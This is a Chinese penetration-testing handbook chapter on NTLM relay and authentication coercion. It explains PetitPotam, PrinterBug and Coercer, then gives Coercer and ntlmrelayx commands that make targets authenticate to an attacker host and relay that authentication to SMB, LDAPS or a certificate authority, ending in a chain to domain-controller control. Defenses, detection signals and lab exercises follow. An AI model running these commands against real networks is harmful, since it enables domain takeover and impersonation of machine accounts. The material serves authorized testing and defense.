逆向工程实战手册 第 71 章

第 71 章 NTLM Relay 与认证强制(Coercer)

认证强制(Coercion)让受害者主动向攻击者认证,NTLM Relay 把这个认证中继到攻击者想打的服务。这是 2023-2026 年内网攻击的主角(PetitPotam/PrinterBug/Coercer)。本章覆盖认证强制技术、Relay 原理、以及从强制到域控的完整链。

📍 知识点地图 | 主题:NTLM Relay | 前置:第62章 | 后续:— | 核心概念:Coercer、relay目标、签名绕过

71.1 核心概念(先懂机制)

NTLM 认证流程:
  客户端 → 服务器: NEGOTIATE(我要认证)
  服务器 → 客户端: CHALLENGE(挑战值)
  客户端 → 服务器: AUTH(响应 = f(密码哈希, 挑战))

Relay 原理:
  攻击者插在中间:
    受害者 → 攻击者(发起 NTLM 认证)
    攻击者 → 目标服务器(转发受害者的认证)
  → 目标服务器认为"受害者"在认证 → 攻击者以受害者身份操作
  → 攻击者不需要密码/哈希!只需要"转发"

关键认知:
  NTLM 认证可以被"转发"(不像 Kerberos 绑定目标)
  → 谁能让受害者认证到自己,谁就能"借用"受害者身份

71.2 认证强制技术(Coercion)——让受害者认证到你

原理

MS-RPC 接口存在"触发目标机器回连"的功能
  攻击者调用目标的某个 RPC 方法
  方法内部会让目标向"攻击者指定地址"发起 SMB/HTTP 认证
  → 目标机器主动向你认证(带它的机器账号哈希)

代表接口:
  PetitPotam: EfsRpcOpenFileRaw(EFS 服务)
  PrinterBug: SpoolService 的 RpcRemoteFindFirstPrinterChangeNotification
  DFSCoerce: DFS 服务
  Coercer 工具: 自动枚举所有可强制接口

Coercer 使用

# 强制目标机器向攻击机认证
coercer coerce -u user -p pass -t <TARGET_IP> -l <ATTACKER_IP>

# 批量(整个网段找可强制的机器)
coercer coerce -u user -p pass -t targets.txt -l <ATTACKER_IP>

能强制谁

□ 域控(最重要!DC 的机器账号哈希)
□ 任意域成员(机器账号)
□ 管理员会话中的用户(某些场景)

71.3 NTLM Relay 攻击面(relay 到哪)

可 relay 的目标(支持 NTLM 且未启用保护)

高风险(能拿身份):
  SMB(SMB Signing 禁用/不强制)
  LDAP/LDAPS(LDAP Signing 不强制)→ 可加用户/改属性!
  HTTP(Exchange/ADFS/CA Web 端点,第 70 章 ESC8)
  MSSQL(NTLM 认证实例)

低风险/不可:
  Kerberos(不基于 NTLM,无法 relay)
  ​带 EPA/强制签名的服务(可检测转发)

经典利用链

链 1: Coercer + SMB Relay
  强制域控认证 → relay 到 SMB → 以 DC 身份执行命令/读写文件

链 2: Coercer + LDAP Relay(域控)
  强制域控认证 → relay 到 LDAP → 给攻击者加域管权限/改 ACL
  (需 LDAP Signing 未强制)

链 3: Coercer + ESC8(第 70 章)
  强制域控认证 → relay 到 CA Web 端点 → 申请 DC 身份证书 → 域控哈希

链 4: 打印机 + SMB(PrinterBug 经典)
  强制文件服务器认证 → relay → 访问其文件/执行

71.4 ntlmrelayx 实战

# 1. 启动 relay(监听并转发到目标)
ntlmrelayx.py -t smb://<TARGET> -smb2support

# 2. 启动 relay 到 LDAP(提权链)
ntlmrelayx.py -t ldaps://<DC> --delegate-access
# 或添加用户到组(需权限足够)

# 3. relay 到 CA(ESC8,配合第 70 章)
ntlmrelayx.py -t http://<CA_HOST>/certsrv/certfnsh.asp \
  --adcs --template <VULN_TEMPLATE>

# 4. 批量攻击(自动对所有受害者的认证 relay)
ntlmrelayx.py -t smb://<TARGET> -smb2support \
  -i   # 交互 shell(每次 relay 成功给一个 shell)

# 5. 配合 Coercer 全自动
coercer coerce -u user -p pass -t <DC_IP> -l <ATTACKER_IP>
# 同时开着 ntlmrelayx 接收

71.5 完整攻击链(Coercer + Relay → 域控)

1. 攻击者在内网(已有一台机器,第 62 章)
2. 启动 ntlmrelayx(relay 到目标服务)
3. Coercer 强制域控向攻击机认证
4. 攻击机收到 DC 的 NTLM 认证 → 转发到目标服务
5. 以 DC 身份完成操作:
   ├─ SMB: 执行命令(拿到 DC shell)
   ├─ LDAP: 提权/改 ACL
   └─ CA: 申请证书 → 哈希(第 70 章)
6. 域控权限达成

71.6 防御与检测

防御:
  □ SMB Signing 强制(阻断 SMB relay)
  □ LDAP Signing + Channel Binding(阻断 LDAP relay)
  □ EPA(Extended Protection for Authentication)开启
  □ CA 端点禁止 NTLM(ESC8)
  □ 监控 Coercer 特征(异常 EFS/Spooler RPC 调用)

检测信号:
  □ 源 IP 到目标 IP 的大量 4624/4625 登录(relay 特征)
  □ Spooler/EFS 服务的异常远程调用
  □ 同源多目标登录(relay 模式)
  □ SMB 会话异常(同一源大量会话)

71.7 测试检查清单

□ 内网立足点确认
□ 可强制接口枚举(Coercer)
□ Relay 目标选型(SMB/LDAP/CA)
□ 服务签名/EPA 状态检查(决定可行性)
□ 强制触发 → relay → 操作
□ 结果: 命令执行/提权/证书
□ 报告: 完整强制-relay 链

动手练习

  1. 在实验室搭双机(攻击机+目标机),用 Coercer + ntlmrelayx 复现一次 SMB relay。
  2. 分析 SMB Signing 开关对 relay 的影响(开启 vs 关闭对比)。
  3. 走一遍"Coercer + ESC8"完整链(结合第 70 章环境)。
  4. 读一份公开的 NTLM relay 攻击报告,画出它的攻击链图。

深入阅读

  • 仓库:CTF-Sandbox-Orchestrator/competition-relay-coercion-chain/(relay CTF 子技能)
  • 仓库:CTF-Sandbox-Orchestrator/competition-ad-certificate-abuse/(ESC8 联动)
  • 仓库:CTF-Sandbox-Orchestrator/competition-windows-pivot/(Windows 横向)
  • 实战案例:skills/field-journal/seed-007_ntlm-relay-coercer.md(NTLM relay 实战)
  • 外部: Coercer(GitHub)、ntlmrelayx(Impacket)、PortSwigger NTLM relay 研究